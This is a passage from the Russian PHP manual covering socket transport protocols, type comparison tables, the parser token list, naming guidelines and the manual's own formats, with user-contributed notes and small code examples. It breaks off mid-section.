Нижеследующий список содержит информацию о протоколах передачи, встроенных в PHP и готовых для использования функциями работы с сокетами, такими как fsockopen() и stream_socket_client(). Эти протоколы не применяются в модулях для работы с Сокетами.

Для получения списка поддерживаемых протоколов передачи, встроенных в вашу версию PHP, используйте функцию stream_get_transports().

User Contributed Notes

alefinvest at outlook dot com 06-Aug-2021 06:47
That was hard to fetch this page mentioned in note by other user long time ago.
I intended to read Appendix P to find some code examples.
Wondering how to implement custom transport extension for php on our server tto be used with some nowadays technologies research.
https://www.php.net/manual/ru/function.stream-context-create.php#75211


Интернет-сокеты: TCP, UDP, SSL и TLS

ssl://, tls://, sslv2:// & sslv3://.

Замечание: Если транспортный протокол не указан, будет использован tcp://.

  • 127.0.0.1
  • fe80::1
  • www.example.com
  • tcp://127.0.0.1
  • tcp://fe80::1
  • tcp://www.example.com
  • udp://www.example.com
  • ssl://www.example.com
  • sslv2://www.example.com
  • sslv3://www.example.com
  • tls://www.example.com

Интернет-сокеты требуют указания порта в дополнение к адресу. В случае fsockopen(), порт передаётся вторым параметром и не затрагивает строку адреса. При работе с stream_socket_client() и другими близкими функциями, как и в случае со стандартными URL, порт указывается в конце адреса, отделённый двоеточием.

  • tcp://127.0.0.1:80
  • tcp://[fe80::1]:80
  • tcp://www.example.com:80

Замечание: IPv6 численные адреса с указанием порта
Во втором примере выше, в то время как IPv4 и имя хоста не изменились, за исключением добавления номера порта после двоеточия, адрес IPv6 заключён в квадратные скобки: [fe80::1]. Это сделано для того, чтобы отличить двоеточие в адресе от двоеточия при указании порта.

Протоколы ssl:// и tls:// (доступны, только если поддержка openssl включена в PHP) являются расширениями tcp://, дополняющими его SSL-шифрованием.

ssl:// будет пытаться использовать соединение SSL V2 или SSL V3, в зависимости от возможностей и настроек удалённого хоста. sslv2:// и sslv3:// позволяют явно указать использование SSL V2 или SSL V3.

User Contributed Notes

christian at lantian dot eu 17-Sep-2013 12:46
@pablo dot livardo  :  I think that the problem you found is caused by the difference between the client/server encryption methods used.

The 465 port is used for SMTPS, and the server starts the encryption immediately it receives your connection. So, your code will work.

The 587 port is used for Submission (MSA or Mail Submission Agent) which works like the port 25. The server accepts your connection and doesn't activate the encryption. If you want an encrypted connection on the port 587, you must connect on it without encryption, you must start to dialog with the server (with EHLO) and after that you must ask the server to start the encrypted connection using the STARTTLS command. The server starts the encryption and now you can start as well the encryption on your client.

So, in few words, you can not use :

<?php $fp = fsockopen("tls://mail.example.com", 587, $errno, $errstr);  ?>

but you can use:

 <?php $fp = stream_socket_client("mail.example.com:587", $errno, $errstr); ?>

and after you send the STARTTLS command, you can enable the crypto:

<?php stream_socket_enable_crypto($fp, true, STREAM_CRYPTO_METHOD_SSLv23_CLIENT); ?>

P.S. My previous note on this page was totally wrong, so I ask the php.net admin to remove it.

:)
christian at lantian dot eu 16-Sep-2013 08:17
@pablo dot livardo  :  I think that the problem you found is caused by the difference between the client/server encryption methods used.

You tried to access the port 587 using TLS encryption, but the server uses the SSLv3 encryption on this port.

You can communicate with the Google server on port 465 because on this port the communication is encrypted using TLS and your client is configured to recognize the TLS.

So, if you want to connect on the Google server over the port 587, you simply must write:

<?php
$fp = fsockopen("ssl://mail.example.com", 587, $errno, $errstr);
?>

instead of:

<?php
$fp = fsockopen("tls://mail.example.com", 587, $errno, $errstr);
?>

:)
stefan at example dot com 20-Aug-2010 05:42
Actually, PHP is very able to start with an unencrypted connection and then switch to an encrypted one - refer to http://php.net/stream_socket_enable_crypto .
pablo dot livardo at gmail dot com 09-Dec-2009 09:56
I've been having a problem with a TLS connection.

<?php
$fp = fsockopen("tls://mail.example.com", 587, $errno, $errstr);
?>

Which gives me an error of:

SSL operation failed with code 1. OpenSSL Error messages: error:1408F10B:SSL routines:SSL3_GET_RECORD:wrong version number

I believe this is caused by PHP not being able to start with an unencrypted connection and then switch to encryption even though the functionality is built into OpenSSL.

For Google Mail users you can avoid this by using port 465 instead of 587.


Unix-сокеты: UNIX и UDG

unix:// и udg://

  • unix:///tmp/mysock
  • udg:///tmp/mysock

unix:// даёт возможность использовать unix-сокеты, а udg:// предоставляет альтернативный способ передачи данных в них, с использованием пользовательского протокола датаграмм.

Unix-сокеты, в отличие от Интернет-сокетов не требуют указания порта. В случае fsockopen() параметр portno должен быть равен 0.

Замечание: Unix-сокеты не поддерживаются в Windows.

User Contributed Notes

Matthew Fortune 16-Feb-2007 03:03
It appears that fsockopen prior to php5 did not need the unix:// qualifier when opening a unix domain socket:

php4: fsockopen("/tmp/mysocket"......);

php5: fsockopen("unix:///tmp/mysocket"......);

This caught me out when upgrading.


Таблицы сравнения типов PHP

Следующие таблицы показывают работу PHP с типами переменных и операторами сравнения как для свободных, так и для строгих сравнений. Эта информация также относится к разделу документации по приведению типов. Написать этот раздел разработчиков PHP воодушивили комментарии пользователей и работа над фреймворком » BlueShoes.

Перед тем как начать пользоваться таблицами, важно понять типы и их значения. Наример, «42» — строка (string), а 42 — целое число (int). Значение false — логическое значение (bool), а «false» — строка (string).

Замечание:

HTML-формы не передают целые, дробные числа или логические переменные: они передают только строки. Выяснить, числовая ли строка, можно через функцию is_numeric().

Замечание:

Выражение if ($x), если переменная $x не определена, сгенерирует ошибку уровня E_NOTICE. Вместо этого пользуются языковыми конструкциями empty() или isset(), и/или инициализируют переменную.

Замечание:

Бывают арифметические операции, возвращающие значение, которое представляет константа NAN (Not A Number, нечисло). Любое строгое или нестрогое сравнение этого значения с любым другим, включая его самого, но исключая true, вернёт false (т. е. NAN != NAN и NAN !== NAN). Примеры операций, возвращающих NAN, — sqrt(-1), asin(2) и acosh(0).

Сравнение типов переменной $x и результатов функций PHP, связанных с типами
Выражение | gettype() | empty() | is_null() | isset() | bool : if($x)
$x = ""; | string | true | false | true | false
$x = null; | NULL | true | true | false | false
var $x; | NULL | true | true | false | false
$x не определена | NULL | true | true | false | false
$x = []; | array | true | false | true | false
$x = ['a', 'b']; | array | false | false | true | true
$x = false; | bool | true | false | true | false
$x = true; | bool | false | false | true | true
$x = 1; | int | false | false | true | true
$x = 42; | int | false | false | true | true
$x = 0; | int | true | false | true | false
$x = -1; | int | false | false | true | true
$x = "1"; | string | false | false | true | true
$x = "0"; | string | true | false | true | false
$x = "-1"; | string | false | false | true | true
$x = "php"; | string | false | false | true | true
$x = "true"; | string | false | false | true | true
$x = "false"; | string | false | false | true | true

Гибкое сравнение через оператор ==
 | true | false | 1 | 0 | -1 | "1" | "0" | "-1" | null | [] | "php" | ""
true | true | false | true | false | true | true | false | true | false | false | true | false
false | false | true | false | true | false | false | true | false | true | true | false | true
1 | true | false | true | false | false | true | false | false | false | false | false | false
0 | false | true | false | true | false | false | true | false | true | false | false* | false*
-1 | true | false | false | false | true | false | false | true | false | false | false | false
"1" | true | false | true | false | false | true | false | false | false | false | false | false
"0" | false | true | false | true | false | false | true | false | false | false | false | false
"-1" | true | false | false | false | true | false | false | true | false | false | false | false
null | false | true | false | true | false | false | false | false | true | true | false | true
[] | false | true | false | false | false | false | false | false | true | true | false | false
"php" | true | false | false | false* | false | false | false | false | false | false | true | false
"" | false | true | false | false* | false | false | false | false | true | false | false | true
* true до PHP 8.0.0.

Жёсткое сравнение через оператор ===
 | true | false | 1 | 0 | -1 | "1" | "0" | "-1" | null | [] | "php" | ""
true | true | false | false | false | false | false | false | false | false | false | false | false
false | false | true | false | false | false | false | false | false | false | false | false | false
1 | false | false | true | false | false | false | false | false | false | false | false | false
0 | false | false | false | true | false | false | false | false | false | false | false | false
-1 | false | false | false | false | true | false | false | false | false | false | false | false
"1" | false | false | false | false | false | true | false | false | false | false | false | false
"0" | false | false | false | false | false | false | true | false | false | false | false | false
"-1" | false | false | false | false | false | false | false | true | false | false | false | false
null | false | false | false | false | false | false | false | false | true | false | false | false
[] | false | false | false | false | false | false | false | false | false | true | false | false
"php" | false | false | false | false | false | false | false | false | false | false | true | false
"" | false | false | false | false | false | false | false | false | false | false | false | true

User Contributed Notes

Jeroen 14-Jul-2023 04:26
Be aware of the difference between checking the *value* of an array item, and checking the *existence* of an array item:
<?php
$arr = [
  'x' => 0,
  'y' => null,
];

isset($arr['x']); // true, same as isset(0)
isset($arr['y']); // false, same as isset(null)

array_key_exists('y', $arr); // true, though the value is null
array_key_exists('z', $arr); // false
mark at theanti dot social 29-Mar-2018 08:59
There is also 0.0 which is not identical to 0.

  $x = 0.0;
  gettype($x); // double
  empty($x); // true
  is_null($x); //false
  isset($x); // true
  is_numeric($x); // true
  $x ? true : false; // false
  $x == 0; // true
  $x == "0"; // true
  $x == "0.0"; // true
  $x == false; // true
  $x == null; // true
  $x === 0; // false
  $x === false; // false
  $x === null; // false
  $x === "0"; // false
  $x === "0.0"; // false
blue dot hirano at gmail dot com 07-Sep-2014 02:29
The truth tables really ought to be colorized; they're very hard to read as they are right now (just big arrays of TRUE and FALSE).

Also, something to consider: clustering the values which compare similarly (like is done on qntm.org/equality) would make the table easier to read as well. (This can be done simply by hand by rearranging the order of headings to bring related values closer together).
php at benizi dot com 15-Feb-2010 10:31
It's interesting to note that 'empty()' and 'boolean : if($x)'
are paired as logical opposites, as are 'is_null()' and 'isset()'.
edgar at goodforall dot eu 15-Dec-2009 06:55
Some function to write out your own comparisson table in tsv format. Can be easily modified to add more testcases and/or binary functions. It will test all comparables against each other with all functions.

<?php
$funcs = array(
        /* Testing equality */
        'eq' => '==',
        'ne' => '!=',
        'gt' => '>',
        'lt' => '<',
        'ne2' => '<>',
        'lte' => '<=',
        'gte' => '>=',
        /* Testing identity */
        'id' => '===',
        'nid' => '!=='
);
class Test {
        protected $a;
        public $b;
        public function __construct($a,$b){
                $this->a = $a;
                $this->b = $b;
        }
        public function getab(){
                return $this->a.",". $this->b;
        }

}
$tst1 = new Test(1,2);
$tst2 = new Test(1,2);
$tst3 = new Test(2,2);
$tst4 = new Test(1,1);

$arr1 = array(1,2,3);
$arr2 = array(2,3,4);
$arr3 = array('a','b','c','d');
$arr4 = array('a','b','c');
$arr5 = array();

$comp1 = array(
        'ints' => array(-1,0,1,2),
        'floats' => array(-1.1,0.0,1.1,2.0),
        'string' => array('str', 'str1', '', '1'),
        'bools' => array(true, false),
        'null' => array(null),
        'objects' => array($tst1,$tst2,$tst3,$tst4),
        'arrays' => array($arr1, $arr2, $arr3, $arr4, $arr5)
);
$fbody = array();

foreach($funcs as $name => $op){
        $fbody[$name] = create_function('$a,$b', 'return $a ' . $op . ' $b;');
}

$table = array(array('function', 'comp1', 'comp2', 'f comp1 comp2', 'type'));
/* Do comparisons */
$comp2  = array();
foreach($comp1 as $type => $val){
        $comp2[$type] = $val;
}

foreach($comp1 as $key1 => $val1){
        foreach($comp2 as $key2 => $val2){
                addTableEntry($key1, $key2, $val1, $val2);
        }
}
$out = '';
foreach($table as $row){
        $out .= sprintf("%-20s\t%-20s\t%-20s\t%-20s\t%-20s\n", $row[0], $row[1], $row[2], $row[3], $row[4]);
}

print $out;
exit;

function addTableEntry($n1, $n2, $comp1, $comp2){
        global $table, $fbody;
        foreach($fbody as $fname => $func){
                        foreach($comp1 as $val1){
  foreach($comp2 as $val2){
                                        $val = $func($val1,$val2);
                                                $table[] = array($fname, gettype($val1) . ' => ' . sprintval($val1), gettype($val2) .' => ' . sprintval($val2), gettype($val) . ' => ' . sprintval($val), gettype($val1) . "-" . gettype($val2) . '-' . $fname);
                                        }
                        }
        }
}

function sprintval($val){
        if(is_object($val)){
                return 'object-' . $val->getab();
        }
        if(is_array($val)){
                return implode(',', $val);
        }
        if(is_bool($val)){
                if($val){
                        return 'true';
                }
                return 'false';
        }
        return strval($val);
}

?>
frank 14-Aug-2007 03:06
A comparison table for <=,<,=>,> would be nice...
Following are TRUE (tested PHP4&5):
NULL <= -1
NULL <= 0
NULL <= 1
!(NULL >= -1)
NULL >= 0
!(NULL >= 1)
That was a surprise for me (and it is not like SQL, I would like to have the option to have SQL semantics with NULL...).
Jan 29-Dec-2005 11:23
Note that php comparison is not transitive:

"php" == 0 => true
0 == null => true
null == "php" => false
jerryschwartz at comfortable dot com 26-Jul-2005 01:04
In some languages, a boolean is promoted to an integer (with a value of 1 or -1, typically) if used in an expression with an integer. I found that PHP has it both ways:

If you add a boolean with a value of true to an integer with a value of 3, the result will be 4 (because the boolean is cast as an integer).

On the other hand, if you test a boolean with a value of true for equality with an integer with a value of three, the result will be true (because the integer is cast as a boolean).

Surprisingly, at first glance, if you use either < or > as the comparison operator the result is always false (again, because the integer as cast as a boolean, and true is neither greater nor less than true).


Список меток (tokens) парсера

Разные части языка PHP внутренне представлены токенами. Фрагмент кода, который содержит недопустимую последовательность токенов, может привести к ошибкам наподобие Parse error: syntax error, unexpected token "==", expecting "(" in script.php on line 10.", где токен == внутренне представлен как T_IS_EQUAL.

В следующей таблице перечислены все токены. Они также доступны как константы PHP.

Замечание: Использование T_* констант

Значения T_* констант автоматически генерируются на основе базовой инфраструктуры синтаксического анализатора PHP. Это означает, что конкретное значение метки может изменяться между двумя версиями PHP. Это означает, что ваш код никогда не должен напрямую полагаться на исходные значения T_*, взятые из версии PHP X.Y.Z, чтобы обеспечить некоторую совместимость между несколькими версиями PHP.

Чтобы использовать T_* константы в нескольких версиях PHP, неопределённые константы могут быть определены пользователем (с использованием больших чисел, таких как 10000) с соответствующей стратегией, которая будет работать как с версиями PHP, так и со значениями T_*.

<?php

// До PHP 7.4.0 значение T_FN не определено.
defined('T_FN') || define('T_FN', 10001);

?>

Метки
Метка | Синтаксис | Ссылка
T_ABSTRACT | abstract | Абстрактные классы
T_AMPERSAND_FOLLOWED_BY_VAR_OR_VARARG | & | Объявления типов (доступно, начиная с PHP 8.1.0)
T_AMPERSAND_NOT_FOLLOWED_BY_VAR_OR_VARARG | & | Объявления типов (доступно, начиная с PHP 8.1.0)
T_AND_EQUAL | &= | операторы присваивания
T_ARRAY | array() | array(), синтаксис массива
T_ARRAY_CAST | (array) | приведение типа
T_AS | as | foreach
T_ATTRIBUTE | #[ | attributes (доступно с PHP 8.0.0)
T_BAD_CHARACTER |  | все, что ниже ASCII 32 исключая \t (0x09), \n (0x0a) и \r (0x0d) (доступно с PHP 7.4.0)
T_BOOLEAN_AND | && | логические операторы
T_BOOLEAN_OR | || | логические операторы
T_BOOL_CAST | (bool) или (boolean) | приведение типа
T_BREAK | break | break
T_CALLABLE | callable | callable
T_CASE | case | switch
T_CATCH | catch | Исключения
T_CLASS | class | классы и объекты
T_CLASS_C | __CLASS__ | магические константы
T_CLONE | clone | классы и объекты
T_CLOSE_TAG | ?> или %> | PHP-код внутри HTML
T_COALESCE | ?? | операторы сравнения
T_COALESCE_EQUAL | ??= | операторы присваивания (доступно с PHP 7.4.0)
T_COMMENT | // или #, и /* */ | комментарии
T_CONCAT_EQUAL | .= | операторы присваивания
T_CONST | const | константы класса
T_CONSTANT_ENCAPSED_STRING | "foo" или 'bar' | строковой синтаксис
T_CONTINUE | continue | continue
T_CURLY_OPEN | {$ | переменные внутри строки
T_DEC | -- | операторы инкремента\декремента
T_DECLARE | declare | declare
T_DEFAULT | default | switch
T_DIR | __DIR__ | магические константы
T_DIV_EQUAL | /= | операторы присваивания
T_DNUMBER | 0.12 и т.д. | числа с плавающей точкой
T_DO | do | do..while
T_DOC_COMMENT | /** */ | PHPDoc-комментарии
T_DOLLAR_OPEN_CURLY_BRACES | ${ | переменная внутри строки
T_DOUBLE_ARROW | => | синтаксис массивов
T_DOUBLE_CAST | (real), (double) или (float) | приведение типов
T_DOUBLE_COLON | :: | смотрите ниже T_PAAMAYIM_NEKUDOTAYIM
T_ECHO | echo | echo
T_ELLIPSIS | ... | аргументы функции
T_ELSE | else | else
T_ELSEIF | elseif | elseif
T_EMPTY | empty | empty()
T_ENCAPSED_AND_WHITESPACE | " $a" | константная часть строки с переменными
T_ENDDECLARE | enddeclare | declare, альтернативный синтаксис
T_ENDFOR | endfor | for, альтернативный синтаксис
T_ENDFOREACH | endforeach | foreach, альтернативный синтаксис
T_ENDIF | endif | if, альтернативный синтаксис
T_ENDSWITCH | endswitch | switch, альтернативный синтаксис
T_ENDWHILE | endwhile | while, альтернативный синтаксис
T_ENUM | enum | Перечисления (доступно, начиная с PHP 8.1.0)
T_END_HEREDOC |  | синтаксис heredoc
T_EVAL | eval() | eval()
T_EXIT | exit или die | exit(), die()
T_EXTENDS | extends | extends, классы и объекты
T_FILE | __FILE__ | магические константы
T_FINAL | final | Ключевое слово final
T_FINALLY | finally | Исключения
T_FN | fn | стрелочные функции (доступно с PHP 7.4.0)
T_FOR | for | for
T_FOREACH | foreach | foreach
T_FUNCTION | function | функции
T_FUNC_C | __FUNCTION__ | магические константы
T_GLOBAL | global | область видимости переменной
T_GOTO | goto | goto
T_HALT_COMPILER | __halt_compiler() | __halt_compiler
T_IF | if | if
T_IMPLEMENTS | implements | Интерфейсы объектов
T_INC | ++ | операторы инкремента\декремента
T_INCLUDE | include | include
T_INCLUDE_ONCE | include_once | include_once
T_INLINE_HTML |  | текст вне PHP
T_INSTANCEOF | instanceof | операторы типа
T_INSTEADOF | insteadof | Трейты
T_INTERFACE | interface | Интерфейсы объектов
T_INT_CAST | (int) или (integer) | приведение типов
T_ISSET | isset() | isset()
T_IS_EQUAL | == | операторы сравнения
T_IS_GREATER_OR_EQUAL | >= | операторы сравнения
T_IS_IDENTICAL | === | операторы сравнения
T_IS_NOT_EQUAL | != или <> | операторы сравнения
T_IS_NOT_IDENTICAL | !== | операторы сравнения
T_IS_SMALLER_OR_EQUAL | <= | операторы сравнения
T_LINE | __LINE__ | магические константы
T_LIST | list() | list()
T_LNUMBER | 123, 012, 0x1ac и т.д. | целые числа
T_LOGICAL_AND | and | логические операторы
T_LOGICAL_OR | or | логические операторы
T_LOGICAL_XOR | xor | логические операторы
T_MATCH | match | match (доступно с PHP 8.0.0)
T_METHOD_C | __METHOD__ | магические константы
T_MINUS_EQUAL | -= | операторы присваивания
T_MOD_EQUAL | %= | операторы присваивания
T_MUL_EQUAL | *= | операторы присваивания
T_NAMESPACE | namespace | пространства имён
T_NAME_FULLY_QUALIFIED | \App\Namespace | пространства имён (доступно, начиная с PHP 8.0.0)
T_NAME_QUALIFIED | App\Namespace | пространства имён (доступно, начиная с PHP 8.0.0)
T_NAME_RELATIVE | namespace\Namespace | пространства имён (доступно, начиная с PHP 8.0.0)
T_NEW | new | классы и объекты
T_NS_C | __NAMESPACE__ | пространства имён
T_NS_SEPARATOR | \ | пространства имён
T_NUM_STRING | "$a[0]" | цифровой индекс массива внутри строки
T_OBJECT_CAST | (object) | приведение типов
T_OBJECT_OPERATOR | -> | классы и объекты
T_NULLSAFE_OBJECT_OPERATOR | ?-> | классы и объекты
T_OPEN_TAG | <?php, <? или <% | PHP-код внутри HTML
T_OPEN_TAG_WITH_ECHO | <?= или <%= | PHP-код внутри HTML
T_OR_EQUAL | |= | операторы присваивания
T_PAAMAYIM_NEKUDOTAYIM | :: | ::. Также определяется как T_DOUBLE_COLON.
T_PLUS_EQUAL | += | операторы присваивания
T_POW | ** | арифметические операторы
T_POW_EQUAL | **= | операторы присваивания
T_PRINT | print | print
T_PRIVATE | private | классы и объекты
T_PROTECTED | protected | классы и объекты
T_PUBLIC | public | классы и объекты
T_READONLY | readonly | классы и объекты (доступно, начиная с PHP 8.1.0)
T_REQUIRE | require | require
T_REQUIRE_ONCE | require_once | require_once
T_RETURN | return | возвращаемые значения
T_SL | << | побитовые операторы
T_SL_EQUAL | <<= | операторы присваивания
T_SPACESHIP | <=> | Операторы сравнения
T_SR | >> | побитовые операторы
T_SR_EQUAL | >>= | операторы присваивания
T_START_HEREDOC | <<< | синтаксис heredoc
T_STATIC | static | область видимости переменной
T_STRING | parent, self и т.п.. | идентификаторы, например, ключевые слова вроде parent и self, сюда подходят также имена функций, классов и некоторые другие. Смотрите также T_CONSTANT_ENCAPSED_STRING
T_STRING_CAST | (string) | приведение типов
T_STRING_VARNAME | "${a | переменные внутри строки
T_SWITCH | switch | switch
T_THROW | throw | Исключения
T_TRAIT | trait | Трейты
T_TRAIT_C | __TRAIT__ | __TRAIT__
T_TRY | try | Исключения
T_UNSET | unset() | unset()
T_UNSET_CAST | (unset) | приведение типов
T_USE | use | пространства имён
T_VAR | var | классы и объекты
T_VARIABLE | $foo | переменные
T_WHILE | while | while, do..while
T_WHITESPACE | \t \r\n |
T_XOR_EQUAL | ^= | операторы присваивания
T_YIELD | yield | генераторы
T_YIELD_FROM | yield from | generators

Смотрите также описание функции token_name().

User Contributed Notes

daniel_rhodes at yahoo dot co dot uk 28-Mar-2024 08:41
In the above table of Tokens, it's worth noting that the bracketed text of "available as of PHP x.y.z" can mean one of two things:

[] This *parser token* is available as of PHP x.y.z
    {eg. T_BAD_CHARACTER, T_NAME_QUALIFIED}

[] This *language feature* is available as of PHP x.y.z
    {eg. T_ATTRIBUTE, T_COALESCE_EQUAL}
fgm at osinet dot fr 22-Sep-2008 01:08
T_ENCAPSED_AND_WHITESPACED is returned when parsing strings with evaluated content, like "some $value" or this example from the Strings reference page:

<?php
echo <<<EOT
My name is "$name". I am printing some $foo->foo.
Now, I am printing some {$foo->bar[1]}.
This should print a capital 'A': \x41
EOT;
?>

This last example is tokenized as:
T_ECHO
  echo
T_WHITESPACE
  %20 (a space character)
T_START_HEREDOC
  <<
T_ENCAPSED_AND_WHITESPACE
  My name is "
T_VARIABLE
  $name
T_ENCAPSED_AND_WHITESPACE
  ". I am printing some
T_VARIABLE
  $foo
T_OBJECT_OPERATOR
  ->
T_STRING
  foo
T_ENCAPSED_AND_WHITESPACE
  . Now, I am printing some
T_CURLY_OPEN
  {
T_VARIABLE
  $foo
T_OBJECT_OPERATOR
  ->
T_STRING
  bar
(terminal)
  [
T_LNUMBER
  1
(terminal)
  ]
(terminal)
  }
T_ENCAPSED_AND_WHITESPACE
  . This should print a capital 'A': \x41
T_END_HEREDOC
  EOT
(terminal)
  ;
nathan at unfinitydesign dot com 22-Sep-2008 05:52
T_ENCAPSED_AND_WHITESPACE is whitespace which intersects a group of tokens. For example, an "unexpected T_ENCAPSED_AND_WHITESPACE" error is produced by the following code:

<?php
$main_output_world = 'snakes!';
echo('There are' 10 $main_output_world);
?>

Note the missing concatenation operator between the two strings leads to the whitespace error that is so named above. The concatenation operator instructs PHP to ignore the whitespace between the two code tokens (the so named "encapsed" data"), rather than parse it as a token itself.

The correct code would be:

<?php
$main_output_world = 'snakes!';
echo('There are' . 10 . $main_output_world);
?>

Note the addition of the concatenation operator between each token.


Руководство по именованию

Содержание

  • Глобальное пространство имён
  • Правила
  • Советы

Этот документ содержит советы по выбору имён для идентификаторов PHP-кода. При выборе имён для кода, создающего идентификаторы в глобальном пространстве имён, важно принимать во внимание это руководство, чтобы избежать коллизий имён из будущих версий PHP с вашим кодом.

User Contributed Notes

There are no user contributed notes for this page.


Глобальное пространство имён

Обзор конструкций, создающих идентификаторы в глобальном пространстве имён.

  • функции

  • классы

  • интерфейсы

  • константы (не константы классов)

  • переменные, объявленные вне функций/методов

User Contributed Notes

There are no user contributed notes for this page.


Правила

Следующий список правил даёт обзор прав именования, которые проект PHP оставляет себе при выборе новых идентификаторов. Полным руководством является официальный "» Стандарт написания кода":

  • PHP владеет глобальным пространством имён, но старается находить хорошие описательные имена и избегать любых очевидных коллизий.

  • Имена функций используют подчёркивания между словами, а имена классов используют как camelCase, так и PascalCase.

  • PHP добавляет префикс к глобальным именам, принадлежащим модулю с именем этого модуля. В прошлом было множество исключений из этого правила, например:

    • curl_close()

    • mysql_query()

    • PREG_SPLIT_DELIM_CAPTURE

    • new DOMDocument()

    • strpos() (пример исключения, допущенного в прошлом)

    • new SplFileObject()

  • Тем не менее, итераторы и исключения просто получают постфиксы "Iterator" и "Exception". Примеры:

    • ArrayIterator

    • LogicException

  • PHP резервирует все идентификаторы, начинающиеся с __ как магические. Рекомендуется не создавать идентификаторы, начинающиеся с __, кроме как с целью использовать документированную магическую функциональность. Примеры:

    • __get()

    • __autoload()

User Contributed Notes

There are no user contributed notes for this page.


Советы

Для написания кода с прицелом на будущее, рекомендуется не помещать много переменных, функций и классов в глобальное пространство имён. Это поможет избежать конфликтов со сторонними библиотеками, а также возможные будущие дополнения к языку. которым может быть добавлен в будущем.

Одним из самых распространённых способов избежать конфликтов классов и функций, это определять их в своём собственном, отдельном пространстве имён.

<?php

namespace MyProject;

function my_function() {
return true;
}

\MyProject\my_function();

Вам всё ещё нужно отслеживать уже используемые пространства имён, но единожды определившись с ним, вы можете добавить в него все функции и классы, не думая о возможных проблемах.

Максимально ограничивать количество переменных в глобальном пространстве имён является хорошей практикой. Это позволит минимизировать возможность конфликтов со сторонним кодом, который вы решите добавить в свой проект.

Замечание: Область видимости переменных

Согласно правилам области видимости в PHP переменные, определённые внутри функций и классов не могут конфликтовать с переменными, заданными в глобальной области видимости.

User Contributed Notes

There are no user contributed notes for this page.


Об этом руководстве

Содержание

  • Форматы
  • О заметках пользователей
  • Как читать определения функции (прототип)
  • Версии PHP, документированные в этом руководстве
  • Как узнать больше о PHP
  • Как помочь в написании документации
  • Как создаются форматы документации
  • Переводы

User Contributed Notes

There are no user contributed notes for this page.


Форматы

Руководство по PHP доступно в нескольких форматах. Эти форматы могут быть разделены на две группы: формат для чтения онлайн и форматы, доступные для загрузки.

Замечание:

Некоторые издательства выпустили печатные версии этого руководства. Однако, мы не рекомендуем пользоваться ими вследствие их быстрого устаревания.

Вы можете пользоваться руководством онлайн » на сайте PHP.net. В данный момент онлайн версия PHP руководства имеет два отдельных стиля CSS - для просмотра онлайн (веб) и предназначенный для печати.

Преимуществом онлайн руководства над большинством оффлайн форматов является интеграция с замечаниями пользователей и » быстрыми ссылками, очень удобными для быстрого доступа к желаемой части руководства. Очевидным недостатком является то, что вам нужно находиться в онлайне, чтобы пользоваться руководством в онлайн форматах.

Существуют несколько форматов для использования в оффлайн, и вы можете выбрать формат, наиболее подходящий для использования в вашей операционной системе и отвечающий вашим читательским предпочтениям. Чтобы узнать больше о том, каким образом создаётся такое количество форматов руководства, обратитесь к разделу 'Как мы создаём форматы руководства'.

Наиболее кроссплатформенным форматом этого руководства является HTML-версия. Она доступна как в виде одного HTML-файла, так и в виде архива, содержащего несколько тысяч файлов, каждый из которых является отдельной главой руководства. Мы предоставляем эти версии руководств сжатыми, поэтому вам понадобится утилита разархивирования для доступа к файлам внутри архива.

На платформах Windows доступна версия руководства в формате Windows HTML Help, который может быть просмотрен с помощью приложения Windows HTML Help. Эта версия предусматривает поиск по тексту руководства, содержание и поддержку использования закладок. Многие среды разработки PHP-программ в Windows также используют эту версию из-за лёгкости доступа. Существуют также программы для просмотра CHM под Linux. Смотрите » xCHM или » GnoCHM.

Есть также » расширенная версия CHM, она обновляется реже, но зато обеспечивает множество дополнительных возможностей. К сожалению, из-за используемых технологий создания этого формата, она работает только на Microsoft Windows.

User Contributed Notes

There are no user contributed notes for this page.


О заметках пользователей

Заметки пользователей играют большую роль в процессе создания этого руководства. Позволяя читателям высылать нам примеры, выявленные опечатки и другие сведения с помощью их браузеров, мы имеем возможность интегрировать эти замечания в основной текст руководства. Пока замечания пользователей не были добавлены в руководство, с ними можно ознакомиться онлайн и в некоторых оффлайн форматах.

Замечание:

Заметки пользователей не подвергаются модерации перед тем, как стать публично доступными, таким образом, качество написания примеров кода и даже их корректность не может быть гарантирована. (Так же, как не может быть гарантировано качество и точность собственно текста руководства).

Замечание:

По лицензионному соглашению заметки пользователей рассматриваются как часть самого руководства по PHP, поэтому к ним применима та же лицензия, что и к самому руководству (на данный момент Creative Commons Attribution). Подробности могут быть найдены на странице Авторские права данного руководства.

User Contributed Notes

There are no user contributed notes for this page.


Как читать определения функции (прототип)

Документация к каждой функции в руководстве была написана с учётом быстрого обращения к этой документации. Зная как правильно читать и понимать текст, вам будет намного проще изучать PHP. Вместо того, чтобы полагаться на примеры или копирование/вставку, нужно просто понять как читать определения функции (прототипы). Давайте начнём:

Замечание: Предпосылки: Базовое понимание типов

Хотя PHP и является слабо типизированным языком, важно иметь базовое представление о типах, так как они играют большую роль в PHP.

Определения функций показывают нам какого типа значения они возвращают. Для первого примера возьмём определение функции strlen():

strlen

(PHP 4, PHP 5, PHP 7)
strlen -- Возвращает длину строки

Описание
strlen ( string $string ) : int

Возвращает длину переданной строки.

Объяснение определения функции
Часть | Описание
strlen | Имя функции.
(PHP 4, PHP 5, PHP 7) | strlen() была во всех версиях PHP 4, 5 и PHP 7
( string $string ) | Первый (и в данном случае единственный) параметр/аргумент этой функции называется string, а его типом является строка (string).
int | Тип возвращаемого этой функцией значения, в данном случае число (int) (так как длина строки измеряется числом).

Можно переписать вышеуказанное определение функции в более общем виде:

      имя функции    ( тип параметра   имя параметра ) : возвращаемый тип

Много функций принимают несколько параметров, например, in_array(). Её прототип выглядит так:

      in_array ( mixed $needle, array $haystack , bool $strict = false ) : bool

Что это означает? in_array() возвращает boolean, true в случае успешного выполнения (если needle был найден в haystack) или false, если возникла ошибка (если needle не был найден в haystack). Первый параметр называется needle ("иголка") и может принимать много различных типов, поэтому он называется "смешанным". Этот смешанный needle (то, что мы ищем) может быть любым скалярным значением (string, integer, или float), либо массивом. haystack ("стог сена", массив, в котором мы ищем) - это второй параметр. Третий необязательный параметр называется strict ("строго"). Все необязательные параметры имеют значения по умолчанию; если значение по умолчанию неизвестно, оно отображается как ? Руководство указывает, что параметр strict по умолчанию принимает значение boolean false. Смотрите отдельную страницу документации по каждой функции для более подробной информации по их работе.

Символ & (амперсанд), поставленный перед параметром функции позволяет передавать значение этого параметра по ссылке:

       preg_match ( string $pattern , string $subject , array &$matches = null,
       int $flags = 0 , int $offset = 0 ) : int|false

В данном примере мы можем использовать третий опциональный параметр &$matches, который будет передан по ссылке.

Есть также функции с более сложной информацией о версиях PHP. Возьмём для примера html_entity_decode():

